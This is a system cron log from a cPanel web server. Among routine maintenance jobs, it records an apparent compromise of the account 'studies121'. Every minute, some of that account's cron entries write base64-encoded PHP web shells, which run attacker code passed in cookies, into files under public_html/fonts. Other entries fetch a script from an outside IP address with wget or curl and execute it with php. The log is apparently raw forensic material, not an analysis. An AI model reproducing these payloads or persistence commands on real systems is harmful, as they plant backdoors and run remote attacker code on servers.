Sep  7 06:35:01 ip-184-168-122-23 CROND[9162]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 06:35:01 ip-184-168-122-23 CROND[9163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:35:01 ip-184-168-122-23 CROND[9167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:35:01 ip-184-168-122-23 CROND[9166]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:35:01 ip-184-168-122-23 CROND[9171]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 06:35:01 ip-184-168-122-23 CROND[9169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:35:01 ip-184-168-122-23 CROND[9174]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:36:01 ip-184-168-122-23 CROND[9285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:36:01 ip-184-168-122-23 CROND[9287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:36:01 ip-184-168-122-23 CROND[9289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:36:01 ip-184-168-122-23 CROND[9290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:36:01 ip-184-168-122-23 CROND[9291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:37:01 ip-184-168-122-23 CROND[9440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:37:01 ip-184-168-122-23 CROND[9441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:37:01 ip-184-168-122-23 CROND[9444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:37:01 ip-184-168-122-23 CROND[9443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:38:01 ip-184-168-122-23 CROND[9582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:38:01 ip-184-168-122-23 CROND[9585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:38:01 ip-184-168-122-23 CROND[9587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:38:01 ip-184-168-122-23 CROND[9584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:38:01 ip-184-168-122-23 CROND[9586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:39:01 ip-184-168-122-23 CROND[9727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:39:01 ip-184-168-122-23 CROND[9733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:39:01 ip-184-168-122-23 CROND[9731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:39:01 ip-184-168-122-23 CROND[9730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:39:01 ip-184-168-122-23 CROND[9729]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 06:40:01 ip-184-168-122-23 CROND[9946]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 06:40:01 ip-184-168-122-23 CROND[9949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:40:02 ip-184-168-122-23 CROND[9951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:40:02 ip-184-168-122-23 CROND[9953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:40:02 ip-184-168-122-23 CROND[9952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:40:02 ip-184-168-122-23 CROND[9955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:40:02 ip-184-168-122-23 CROND[9957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:40:02 ip-184-168-122-23 CROND[9954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:41:01 ip-184-168-122-23 CROND[10076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:41:01 ip-184-168-122-23 CROND[10075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:41:01 ip-184-168-122-23 CROND[10077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:41:01 ip-184-168-122-23 CROND[10078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:42:01 ip-184-168-122-23 CROND[10183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:42:01 ip-184-168-122-23 CROND[10184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:42:01 ip-184-168-122-23 CROND[10190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:42:01 ip-184-168-122-23 CROND[10188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:42:01 ip-184-168-122-23 CROND[10189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:43:01 ip-184-168-122-23 CROND[10310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:43:01 ip-184-168-122-23 CROND[10313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:43:01 ip-184-168-122-23 CROND[10315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:43:01 ip-184-168-122-23 CROND[10312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:44:01 ip-184-168-122-23 CROND[10454]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:44:01 ip-184-168-122-23 CROND[10456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:44:01 ip-184-168-122-23 CROND[10457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:44:01 ip-184-168-122-23 CROND[10459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:44:01 ip-184-168-122-23 CROND[10458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:45:01 ip-184-168-122-23 CROND[10608]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:45:01 ip-184-168-122-23 CROND[10610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:45:01 ip-184-168-122-23 CROND[10612]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:45:01 ip-184-168-122-23 CROND[10613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:45:01 ip-184-168-122-23 CROND[10614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:45:01 ip-184-168-122-23 CROND[10611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:46:01 ip-184-168-122-23 CROND[10729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:46:01 ip-184-168-122-23 CROND[10731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:46:01 ip-184-168-122-23 CROND[10733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:46:01 ip-184-168-122-23 CROND[10732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:46:01 ip-184-168-122-23 CROND[10735]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 06:46:01 ip-184-168-122-23 CROND[10734]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 06:46:01 ip-184-168-122-23 CROND[10737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:47:01 ip-184-168-122-23 CROND[10987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
